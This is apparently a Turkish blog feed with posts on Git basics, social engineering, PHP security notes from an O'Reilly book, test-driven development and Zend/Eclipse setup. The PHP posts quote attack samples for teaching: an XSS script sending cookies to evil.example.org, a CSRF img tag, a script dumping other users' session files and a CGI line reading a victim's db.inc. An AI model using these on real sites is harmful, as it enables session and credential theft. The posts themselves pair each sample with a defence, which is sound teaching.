Bu yazımda en popüler versiyon kontrol sistemlerinden biri olan GIT ile ilgili aldığım notları paylaşacağım.
-Git daha verimli çalışma için daha önce oluşturulmuş ve değişiklik yapılmamış olan belgeleri yeniden kaydetmez. Bunun yerine daha önce kaydedilmiş olan belgeye link oluşturur. Bu özellik Git versiyon kontrol sistemini diğerlerinden ayıran en önemli farktır.
-Git’in hızlı çalışması birçok işlemi localde gerçekleştirmesi sayesinde mümkün olmaktadır.Bütün değişiklik tarihi bilgisayarınızda tutulduğu için işlemler çok hızlı yapılabilmektedir.Örneğin projenin geçmişi ile ilgili bilgilere erişmek istediğinizde git uzak sunucuya giderek herhangi bilgi çekme gereksinimi duymaz ve gerekli bilgileri zaten makinenizde barındırdığından anında size sunar. Git’in local bazlı çalışması sayesinde offline olduğunuz durumlarda diğer versiyon kontrol sistemlerinin aksine yapamayacağınız çok az şey oluyor.
-Git herhangi bir bilginin kendi kontrolü dışında değiştirildiğini anında tespit eden bir mekanizmaya sahiptir. Git’in kullandığı bu mekanizma “SHA-1 hash” olarak adlandırılmaktadır. Her bir belge ve projenin dosya yapısına karşılık gelen 40 karakterden oluşan bir string oluşturulmaktadır. Bu sayede git kendi bilgisi dışında yapılan değişiklikleri anında algılar.
-Git sayesinde işlemlerimizi daha cesurca gerçekleştirmemiz mümkün çünkü herşeyin kaydı tutuluyor ve istediğimiz zaman değişiklikleri geri alabiliriz. Kısaca elimizi korkak alıştırmaya gerek yoktur.
-Önemli: Git kullanırken belgelerimiz 3 aşamadan birinde olur. Bunlar “committed”, “modified” veya “staged” aşamalarıdır.
Commited: Belgenin başarılı bir şekilde değiştirildiğini ve local veritabanına kaydedildiğini belirtir.
Modified: Belgeyi değiştirdiğiniz ancak henüz commit etmediğiniz aşamadır.,
Staged: İki farklı belge üzerinde çalıştığımızı varsayalım. Bir belgede yapmayı planladığımız bütün değişiklikleri o gün içerisinde tamamlıyoruz diğer belgede başladığımız işi ise tam olarak tamamlayamadan commit yapmak istiyoruz. Bu durumda henüz tamamlanmamış olan belgemizi commit etmek yerine onu staged olarak işaretliyoruz ve commit yaptığımızda sadece işimizi tamamladığımız belgenin commit edilmesini sağlamış oluyoruz. Orijinal açıklama için buraya bakınız
-Git’de belgeleriniz 3 farklı dizin vardır bunlar orijinal isimleriyle şunlardır: Git directory, working directory ve staging area
Git’in bağlı olduğu bazı kütüphanelerin kurulumunu gerçekleştirmek gerekiyor öncelikle. Bunlar curl, zlib, openssl, expat ve libiconv kütüphaneleridir. Bunun için şöyle bir komut yazıyoruz:
$ sudo apt-get install libcurl4-gnutls-dev libexpat1-dev gettext \libz-dev libssl-dev
Daha sonra aşağıdaki komutu yazarak git kurulumunu gerçekleştirmeniz gerekmektedir.
$ sudo apt-get install git-core
Aşağıdaki komutları kullanarak isminiz ve email adresiniz gibi bilgileri tanıtabilirsiniz.
$ git config –global user.name “Ferid Mövsümov”
$ git config –global user.email [email protected]
Burada –global kullanarak ayarlarınızın sistem bazında tanıtılmasını sağlamış olursunuz. Yani makinenizdeki bütün git işlemleri için bu ayarlar geçerli olacaktır.
Yorumlarınızı yazarken kullanılacak varsayılan editörü belirlemek için aşağıdaki komutu kullanabilirsiniz. Eğer bu ayarı belirtmezseniz sisteminizdeki varsayılan editör kullanılacaktır.
$ git config –global core.editor emacs
Versiyonlar arasındaki değişiklikleri incelemenizi sağlayan varsayılan diff aracını belirlemek için aşağıdaki komut kullanılabilir
$ git config –global merge.tool vimdiff
Sistemde tanımlı olan git ayarlarını görmek için aşağıdaki komutu kullanmanız gereklidir.
git config –list
$ git help <verb>
$ git <verb> –help
$ man git-<verb>
KAYNAK: http://git-scm.com/book
]]>
İş hayatında büyük rekabetin yaşandığı bu dönemde, Türkiyede birçok büyük şirket bilgi güvenliğine önem vermemektedir. Şirketler arası rekabet açısından kilit rol oynayabilecek çok önmeli bilgiler böylece rakip şirketlerin eline geçebilmekte ve şirketler büyük zararlara uğrayabilmektedirler. Büyük şirketlerde çalışan arkadaşlarımla yaptığım sohbetlerden arkadaşlarımın herhangi şekilde dış tehditlere karşı uyarılmadıkları konusunda bilgi aldım. Sadece çalışanların bilgisayarları çeşitli yazılımlarla korunmaya çalışılmaktadır. Bu yazılımlar bilgisayara herhangi yazılım yüklenmesini önlemektedirler. Arkadaşım Gtalk bile yükleyemediğinden bahsetmişti. Bu yöntemle belkide bilgisayar virüslerden ve çeşitli bilgi çalmaya yönelik olan yazılımlardan başarılı bir şekilde korunabilir ancak şirketler sosyal mühendislik yöntemleriyle bilgi çalma yeteneği bulunan korsanlardan korunamazlar.
Şirket yöneticileri sosyal mühendislik yöntemiyle yapılabilecek saldırılara karşı çalışanları eğitmelidirler. Yöneticiler bu konuda profesyonellere başvurarak personelin bu konuda bilgilendirilmesini sağlayabilirler. Profesyonel kişilere ödenecek paraları çok yüksek bulan şirket yöneticilerine başka bir tavsiyem olabilir bu da ünlü hacker Kevin D. Mitnick’in “Aldatma Sanatı” isimli kitabını okumak. Bu kitap şirket için önemli olan bilgilerin kötü niyetli kişilerden nasıl korunabileceği konusunda herkesin anlayabileceği bir dilde yazılmıştır yani kitabı anlamak için herhangi teknik bilgiye sahip olmanız gerekmemektedir. Kitapta öncelikle yapılan saldırılar anlatılmakta daha sonra Kevin D. Mitnick bu saldırılara karşı korunmak için ne gibi önlemler alınabileceğinden bahsetmektedir. İlgimi çeken bir noktaya değinmek istiyorum, kitapçılarda bu kitap genellikle bilgisayar kitaplarının arasında yer almaktadır ve bilgisayarla ilgili teknik bilgiye sahip olmayan kişiler de bu bölüme göz atmaktan genellikle kaçınmaktadırlar, oysaki bu kitabın daha çok iş hayatıyla ilgili şirket yöneticilerinin sıkça göz attıkları raflarda bulunması daha faydalı olurdu diye düşünüyorum. Ayrıca kitabın kötü niyetli kişiler içinde hazine niteliğinde olduğunu belirtmek isterim.
Peki sosyal mühendislik yöntemleri nelerdir?
Pek çok kişi hackerlerin sadece bir bilgisayar kullanarak sistemlere sızabileceğini, istediği bilgileri alabileceklerini düşünmektedirler. Oysaki gerçekte hiç de bu işler düşünüldüğü gibi bilgisayar vasıtasıyla yapılmamaktadır. Sosyal mühendislik dediğimiz yöntemler genellikle başka bir kişiyi telefonda veya yüzyüze ikna ederek istenilen bilgiyi o kişiden alma mantığına dayanmaktadır. Çok iyi bir sosyal mühendis bilgisayar klavyesine el sürmeden şirketiniz açısından can alıcı bilgileri sadece birkaç telefon görüşmesi kullanarak elde edebilir. Bu nedenle çalışanların bu tarz kişilere karşı daha uyanık olması için bilinçlendirilmiş olması büyük önem taşımaktadır.
Session içerisinde çok önemli bilgiler tutulduğundan session güvenlik açısından çok önemlidir. Session verilerinin sunucu tarafında tutulması güvenlik açısından içimizi rahatlatan en önemli faktördür.
SSL kullanımını etkinleştirmek server ve client arasındaki veri akışının daha güvenli bir biçimde sağlanması açısından önemlidir. SSL sayesinde bütün HTTP istek ve yanıtları korumalı bir şekilde aktarılır.
Güvenlik kalkanınızı biraz daha güçlendirmek isterseniz session içerisine yazılacak verileri şifreleyerek yazmayı tercih edebilirsiniz. Böylece session içerisindeki veriler şifrelemeyi çözecek anahtar olmadan okunamaz. Şifreleme işi session_set_save_handler( ) fonksiyonu yardımıyla yapılabilir.
Session değişkenini her seferinde yeniden üretmek de saldırganın işini zorlaştıracaktır
<?php
session_start();
if (!isset($_SESSION['initiated'])) {
session_regenerate_id();
$_SESSION['initiated'] = TRUE;
}
?>
Sitemizde bir belgeden aldığımız verileri arayüzde göstereceksek file_get_contents‘ten gelen veriler filtrelenmelidir. Bunu aşağıdaki gibi yapabiliriz:
<?php $clean = array(); $html = array(); /* Filter Input ($_GET['filename']) */ $contents = file_get_contents($clean['filename']); /* Filter Input ($contents) */ $html['contents'] = htmlentities($clean['contents'], ENT_QUOTES, 'UTF-8'); echo $html['contents']; ?>
Sisteminize kayıtlı üyenin kullanıcı adı, şifre bilgilerini yazarak sisteme giriş yapacağı formların güvenliğinin sağlanması çok önemli bir güvenlik konusudur. Sisteme giriş yapmak isteyen bir saldırgan sürekli farklı şifreler deneyen bir bot tasarlayarak sisteminize giriş yapmaya çalışacaktır. Bu tarz botları engellemek amacıyla çeşitli güvenlik önlermleri alınabilir. Bunlardan bir tanesi sisteme giriş formunuzda captcha kullanmaktır. Bu çözüm başarılı olsa da kullanıcıları sıkan bir yöntem olduğundan bu yöntemi tercih etmek istemeyebilirsiniz. Alacağınız bir diğer güvenlik önlemi ise bir kişinin art arda belli bir zaman aralığında yanlış şifre denemesi yaptığını tespit ederek onun belli bir süre sisteme giriş yapmasını engellemektir. Bu süre 15 dk olarak belirlenebilir. Örneğin 3 kere yanlış şlifre girilirse bir daha deneme yapmak için 15 dk beklemesi gerekecek. Bu tarz bir yöntem saldırganın işini oldukça zorlaştıracaktır.
Http isteklerinin saldırgan tarafından dinlenmesi ihtimali göz önüne alınarak bu isteklerin güvenli bir şekilde gidip gelmesi amacıyla https protokolü kullanılabilir. Bu şekilde server ve client arasındaki veri akışı bir saldırgan tarafından ele geçirilse bile içeriğin ne olduğu kolay kolay çözülemeyecektir.
Paylaşımlı hosting üzerindeki başka bir sitenin sahibi olan geliştirici sizin kaynak kodlarınızı okuyabilecek bir script geliştirebilir. Aşağıdaki gibi bir kodda file isminmi belirtmek bu işi gerçerkleştirmek için yeterlidir.
<?php
header('Content-Type: text/plain');
readfile($_GET['file']);
?>
Bu güvenlik açığını engellemek amacıyla alacağınız önemli önlemlerden bir tanesi de çok önemli bilgileri mümkün olduğunca veritabanında tutmaya çalışmaktır. Ancak bu da her zaman çözüm değildir çünkü veritabanı erişim bilgilerini yine de kaynak kodlarımız içerisinde tutmamız gerekecek. Bu soruna da şöyle bir çözüm getirebiliriz. Veritabanı erişim bilgilerini sadece root erişimi olacak şekilde ayarlarız.
SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass"
Bu değişkenlere kod içerisinde şu şekilde erişebiliriz:
<?php $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; $db = mysql_connect($db_host, $db_user, $db_pass); ?>
Önemli verileriniz $_SERVER değişkeninde olduğundan bu bilgileri kullanıcya sunabilecek phpinfo() fonksiyonunun kullanıcılara açık bir yerde kullanılmasından kaçının.
Session verilerinizin de güvenliği paylaşımlı hosting kullanımlarında tehlike altındadır. Session bilgileri tmp dosyası altında tutulur ve bu dosya bütün apache kullanıcılarının yazma izniyle erişebileceği bir yerdir. Kötü niyetli bir kişi session verilerinin yazacağı bir script yardımıyla okuyabilir. Bu script aşağıdaki gibi olabilir.
<?php
header('Content-Type: text/plain');
session_start();
$path = ini_get('session.save_path');
$handle = dir($path);
while ($filename = $handle->read()) {
if (substr($filename, 0, 5) == 'sess_') {
$data = file_get_contents("$path/$filename");
if (!empty($data)) {
session_decode($data);
$session = $_SESSION;
$_SESSION = array();
echo "Session [" . substr($filename, 5) . "]\n";
print_r($session);
echo "\n--\n\n";
}
}
}
?>
Böyle bir güvenlik açığını kapatmanın yolu session bilgilerini veritabanında tutmaktır.
Bu mod açık ise bir script çalıştırıldığında o scripti ç.alıştıran kullanıcı ile erişilmeye çalışılan kaynak sahibinin aynı kullanıcı olup olmadığı kontrol edilir. Böylece başka bir kullanıcının sizin dosyalarınıza erişimi engellenmiş olur. Safe Mode php ile yazılmış scriptler için güvenlik sağlarken diğer dillerde yazılmış olan scriptler açısından bir şey ifade etmez. Aşağıdaki gibi bir CGI scripti buna örnektir.
#!/bin/bash echo "Content-Type: text/plain" echo "" cat /home/victim/inc/db.inc
Host tarafından desteklenen Perl, Phyton gibi dillerde yazılacak scriptlerin hiçbiri safe mode ayarını dikkate almayacaktır.
Safe modun bir diğer zayıf tarafı ise scriptlerin kendi içerisinde yeni script yaratabilir ve bu yaratılan yeni scriptin sahibi web server olacaktır. Web server bütün dosyalara erişim hakkına sahip olduğundan safe modun burada herhangi güvenlik etkisi kalmayacaktır.
Kaynak : Php Essential Security- O’Reilly
]]>
Web uygulamaları genellikle dışarıdan verileri formlar aracılığıyla alır. Bu nedenle güvenlik açısından en çok dikkat edilmesi gereken yert formlardır. Kullanıcı verileri GET, POST veya HTTP HEADER (örn: Cookieler ) ile gönderebilir.
Kullanıcıdan bir belge yüklenmesi isteniyorsa, sunucu tarafında belgenin belli bir büyüklükte olmasına dair kontrol yapılmalıdır. Php nin is_uploaded_file() fonksiyonu kullanılarak bu belgenin gerçekten yüklenip yüklenmediğini kontrol etmek mantıklı olabilir. Aşağıdaki gibi bir kod parçasıyla gerekli kontrolü yapabiliriz
<?php
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename))
{
/* $_FILES['attachment']['tmp_name'] is an uploaded file. */
}
?>
Upload edilen belgeleri daha kalıcı bir yere taşınmak istenirse aşağıdaki gibi bir kod kullanılabilir.
<?php
$old_filename = $_FILES['attachment']['tmp_name'];
$new_filename = '/path/to/attachment.txt';
if (move_uploaded_file($old_filename, $new_filename))
{
/* $old_filename is an uploaded file, and the move was successful. */
}
?>
Güvenlik açısından en önemli kural mümkün olduğunca az güvenmektir. Her aşamada şüpheci olmakta fayda vardır.
Bu saldırı türü çok sık görülen saldırı türlerinden bir tanesidir. Kullanıcıdan aldığı veriyi gösteren her bir uygulama bu saldırı türüne maruz kalma riski taşımaktadır. Web sitemizde kullanıcıların yorum yazdığı bölüme aşağıdaki gibi bir kod parçası girildiğini varsayalım
<script> document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie </script>
Saldırgan bu script çalıştığı taktirde, ilgili, web sayfasını görüntüleyen kullanıcının cookie bilgilerini çalabilir ($_GET['cookies'] içerisindeki herşeye ulaşabilir) ve kendi sitesine yönlendirerek bu bilgileri daha sonra kötü amaçlarla kullanılmak üzere kaydedebilir.
Kullanıcıya gösterilecek her bir veri en azından htmlentities( ) fonksiyonundan geçirilerek bu saldırı türünü kolayca engellenebilir. Aşağıda bu saldırıya karşı geliştirilmiş bir güvenlik önlemi gösterilmektedir.
<?php
$clean = array();
$html = array();
/* Filter Input ($name, $comment) */
$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');
$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');
echo "<p>{$html['name']} writes:<br />";
echo "<blockquote>{$html['comment']}</blockquote></p>";
?>
Saldırgan sizin sitenize giriş yapmış bir kullanıcıya bir url’yi ziyaret etmesini sağlayarak o kullanıcının kendi bilgisi dışında bir işlem gerçekleştirmesini sağlayabilir. Örnek olarak aşağıdaki url’yi inceleyelim.
http://store.example.org/buy.php?item=pen&quantity=1
Sizin alışveriş sitenizde bir kullanıcının 1 adet kalem almasını sağlayan url yukarıdaki gibidir. Sisteminize kullanıcı adı ve şifresiyle giriş yapmış her bir kullanıcı bu bağlantıya tıkladığında bir adet kalem satın almış olur. Böylece saldırgan bu url adresine yönlendirme yapan bir linke tıklamanızı sağlarsa sizin bilginiz dışında alışveriş yapmanızı sağlamış olur. Saldırgan bu saldırı yöntemiyle sizin isteminiz dışında şifrenizi bile değiştirecek boyutta büyük zararlar vererek yaptırmak istediği her türlü işlemi size yaptırabilir.
Saldırganın yapması gereken tek şey sizi belli bir url adresine yönlendirmek olduğunda bunu çeşitli yöntemlerle gerçekleştirebilir. Bu yöntemlerden en yaygını bir tıklama işlemi yapmanıza bile gerek kalmadan size gösterilen bir resmin içerisine tıklama işlemini otomatik olarak gerçekleştiren kodlar gömmektir.
HTML tagı img’nin src atrribute değerinde yer alan url için browserlar ayrı bir istek gönderir bu sayede saldırganbu kod sayesinde istediği url’ye istek göndermemizi sağlayabilir. Örneği aşağıdaki gibidir.
<img src="http://store.example.org/buy.php?item=pencil&quantity=50" />
Bu saldırı türüne karşı alınabilecek güvenlik önlemleri şu şekilde sıralanabilir:
GET yerine POST kullanmanız saldırganın işini zorlaştıracaktır.
Aşağıda CSRF saldırısnın önüne tamamen geçmeyi amaçlayan bir form örneği gösterilmiştir.
<?php
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();
?>
<form action="buy.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>
Item:
<select name="item">
<option name="pen">pen</option>
<option name="pencil">pencil</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form>
Gelen verileri doğrulama işlemi ise şu şekilde yapılacaktır.
<?php
if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
{
/* Valid Token */
}
?>
Güvenliği daha da güçlendirmek için bir tokenin sadece 5 dakika boyunca kullanılmasını sağlayabiliriz.
<?php
$token_age = time() - $_SESSION['token_time'];
if ($token_age <= 300)
{
/* Less than five minutes has passed. */
}
?>
KAYNAK: Essential Php Security Kitabı- O’ Rielly
]]>
Php ile kod yazarken dikkat etmeniz gereken güvenlik önlemleri ile ilgili aldığım notları birkaç bölüm halinde aktarmaya çalışacağım.
Sistemde herhangi bir hata mesajının kullanıcılara gösterilmesi ciddi bir güvenlik açığıdır. Bütün hata mesajları log dosyalarına yazılmalıdır.Hata mesajlarının güvenlikle ilgili ciddi açıklara neden olabilecek bilgiler yer alabilir. Aşağıdaki kodları kullanarak hataların loglara yazılması sağlanabilir. Ayrıca kritik bilgiler içerebilecek olan hata mesajlarının kullanıcılara gösterilmesinin önüne geçmiş olursunuz.
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', '/usr/local/apache/logs/error_log');
Hata durumlarında çalıştırılmak üzere özel fonksiyonlarımızı yazabiliriz. Bu fonksiyonların hata esnasında çalışması için şu şekilde bir kod yazılabilir.
set_error_handler('my_error_handler');
Aşağıda hata durumunda çalıştırılabilecek örnek bir fonksiyon örneği bulunmaktadır.
function my_error_handler($number, $string, $file, $line, $context) {
$error = "= == == == ==\nPHP ERROR\n= == == == ==\n";
$error .= "Number: [$number]\n";
$error .= "String: [$string]\n";
$error .= "File: [$file]\n";
$error .= "Line: [$line]\n";
$error .= "Context:\n" . print_r($context, TRUE) . "\n\n";
error_log($error, 3, '/usr/local/apache/logs/error_log');
}
Aşağıdaki gibi bir kullanım ile sadece Uyarılar için fonksiyonumuzun çalışmasını sağlamış oluruz
set_error_handler('my_warning_handler', E_WARNING);
Kullanıcı çok önemli bir işlem gerçekleştirmek istediğinde, sisteme zaten giriş yapmış olsa bile şifre istenebilir. Bunun örneklerini Facebook ve Twitter’in de uyguladığını görmekteyiz.
Get ve Post ile gelen verilerin atamasının yapılmadığı taktirde değişkenlere boşluk ataması yapmak gerekir . Bunu iki farklı şekilde yapabilirsiniz.
$search = (isset($_GET['search']) ? $_GET['search'] : '');
veya
$search = '';
if (isset($_GET['search'])) {
$search = $_GET['search'];
}
Kredi kartı bilgisi gibi hassas veriler SSL ile aktarılmalıdır.
Kullanıcıya kredi kartı bilgilerini göstereceğiniz zaman sadece son 4 hanenin gösterilmesi gibi yaklaşımlar benimsenebilir.
Session değişkeni çok hassas bilgiler içerebileceğinden sunucu tarafında tutulmalıdır.
Kullanıcı tarafından gönderilen verilerin düzeltilmeye çalışılmasının güvenlik açıklarına neden olabileceğini dikkate almak gerekiyor.
$clean şeklinde bir değişken belirleyip güvenli olduğunu doğruladığımız değişkenleri bu array içerisine atabiliriz. Daha sonra kodun istenilen yerinde $clean dizisi içerisindeki değişkenleri güvenle kullanabiliriz.
Kullanıcıya gösterilecek verilerin htmlentities( ) fonksiyonundan geçirilmesi gerekir. Bu fonksiyona ek parametrelerler vermemiz gerekir. Bunlar ENT_QUOTES ve UTF-8 parametreleridir. $html isimli arrayimizde de filtrelenmiş ve escape edilmiş verileri tutarız.
$html = array( );
$html['username'] = htmlentities($clean['username'],ENT_QUOTES, 'UTF-8');
echo "<p>Welcome back, {$html['username']}.</p>";
Veritabanı olarak mysql kullanıyorsanız query içerisinde kullanılacak verileri mysql_real_escape_string( ) fonsiyonundan geçirmeniz önemlidir.
Eğer MySql kullanmıyorsanız son çare olarak addslashes( ) kullanmalısınız.
$mysql = array( );
$mysql['username'] =mysql_real_escape_string($clean['username']);
$sql = "SELECT * FROM profile WHERE username = '{$mysql['username']}'";
$result = mysql_query($sql);
KAYNAK: Essential PHP Security O’Rielly
]]>
Son birkaç gün içerisinde Test güdümlü geliştirme ile tanıştım. Daha önce bu kavramı duymuş olmama rağmen bir türlü araştırma fırsatım olmamıştı. Nihayet araştırma fırsatım oldu ve bu metodolojiyi gerçekten çok sevdim. Test Güdümlü Geliştirme dendiğinde bir yazılımcı olarak bana ilk başta garip gelen “Önce test sonra kod yazma” kavramıyla tanıştım. İlk duyduğunuzda size zaman kaybı gibi gelebilir nitekim bana da öyle gelmişti ve bu konuyla ilgili internette çok değerli yazılımcılar tarafından yazılmış çeşitli makaleler okudum. Bütün yazılan yazılardaki ana fikir test güdümlü geliştirmenin kesinlikle zaman kaybı olmadığı ve uzun vadede kodumuzda herhangi bir değişiklik yapacağımız zaman size inanılmaz derecede zaman kazandıracağı yönündeydi. Test güdümlü geliştirme yaparken her bir sınıfımız için ayrı ayrı public metodları test eden unit testler yazarız ve kodlarımız düzgün çalışıyorsa bütün unit testlerden başarıyla geçecektir. Uzun bir zaman sonra kodumuz üzerinde değişiklikler yapmamız gerektiğinde, yazılımcılar olarak kendi yazdığımız koda karşı bile yabancılık çekeriz. Durum böyle olunca yapacağımız değişiklikler sistemde daha sonra nedenini saatlerce araştıracağımız hatalara yol açabilir. Unit testlerimiz sayesinde böyle bir durumun önüne geçmemiz mümkündür. Kodumuzda herhangi bir değişiklik yaptığımızda unit testlerimizi çalıştırırız ve eğer herhangi bir şeyi bozmuşsak anında bunu tespit etme ve düzeltme şansımız olur. Böylece saatlerimizi kodumuzu debug etmekle geçirmez ve daha mutlu bir yazılımcı oluruz. Yazılım alanındaki en büyük ustalardan birisi olan Martin Fowler’in bu konuyla ilgili söylediği bir söz çok önemlidir.
“Herhangi bir şeyi debug etmeye kalktığınızda bunun yerine test yazınız”
Türkiye’deki önemli yazılımcılardan biri olan Özcan Acar’ın yazdığı “Veresiye Satan Yazılımcı” isimli yazısında test yazan yazılımcı ile test yazmayan yazılımcı arasındaki farkların çok güzel bir şekilde anlatıldığını düşünüyorum. Yazıyı okumanızı kesinlikle tavsiye ediyorum.
Test yazmanın önemini az çok anladık peki neden testlerimi kodumdan önce yazmalıyım?
Testlerinizi kodunuzdan önce yazmanız aslında kodunuzu daha iyi kurgulamanız açısından önemlidir. Siz daha ortada bir kod yokken onun testini yazabiliyorsanız yapacağınız şeyi kafanızda gerçek anlamda kurgulayabilmişsinizdir demektir. Hangi metodun hangi değeri alacağını buna karşılık hangi değeri döndüreceğini veya hangi işi yapacağına karar vermeden testlerinizi yazamazsınız. Bu nedenle kod yazmaya başlamadan önce kodunuzu en ince ayrıntısına kadar planlayıp, daha sonra trestlerinizi ona göre hazırlayıp nihayetinde kod yazmaya başlarsınız. Böylece kodlarınızı çok daha sağlam bir şekilde yazmış olursunuz.
Yakında test güdümlü geliştirmeyle ilgili birkaç teknik örnek vereceğim yazılar eklemeyi planlıyorum. Bu konudaki çalışmalarım devam etmektedir.
]]>Uygulanması gereken komutlar şu şekildedir:
cd my/project/dir
git clone git://github.com/zendframework/ZendSkeletonApplication.git
cd ZendSkeletonApplication
php composer.phar install
GIT
Projemizin iskelet yapısını github üzerinden çekmemiz gerekmektedir. Bu nedenle Windows işletim sistemi kullananlar öncelikle sistemlerine git kurulumu yapmalıdırlar. Git kurulumu yapmak için bu site işinizi görecektir: http://git-scm.com/downloads
Composer
Composer php de projenin bağımlılıklarını yöneten bir araçtır. Bu araç yardımıyla projenin ihtiyaç duyduğu kütüphaneleri tanımlanır ve otomatik indirilmeleri sağlanır.
İndirdiğimiz iskelet dosyanın içerisinde composer.phar dosyası bulunuyor bu dosya php composer.phar install komutu ile çalıştırılır ve gerekli kütüphaneler yüklenmiş olur.
” Composer is a tool for dependency management in PHP. It allows you to declare the dependent libraries your project needs and it will install them in your project for you. ” Daha fazla bilgi için: http://getcomposer.org/doc/00-intro.md
*Not: php komutunun bulunduğunuz herhangi bir konumdan çalıştırabilmek için Windowsta Bilgisayarım simgesine sağ tıklayın sonra Özelliklere giriniz. Daha sonra aşağıdaki resimde gösterilen adımları uygulayınız.
]]>
Uygulamanızı tavsiye ettiğim yöntemleri maddeler halinde açıklayacağım.
Bu link bu konuda size yardımcı olabilir: http://stackoverflow.com/questions/477871/eclipse-ini-configuration
Ayrıca eclipse.ini dosyasına -Xverify:none satırını ekleyerek bu VM ye yüklediği tüm dosyaların .class olanlarının doğrulama işlemini yapmamasını söyler. Bu Eclipse’in açılmasını hızlandırır.
Bunun dışında XXMaxPermSize bellek miktarını arttırmayı da ihmal etmeyin.






Kaynaklar :
http://stackoverflow.com/questions/316265/tricks-to-speed-up-eclipse
http://www.pakkatechies.com/2011/07/making-eclipse-ide-faster.html
http://developersland.net/index.php/java/111-eclipse-ide-hizlandirmak-icin-performans-onerileri.html
]]>Plugin by Social Author Bio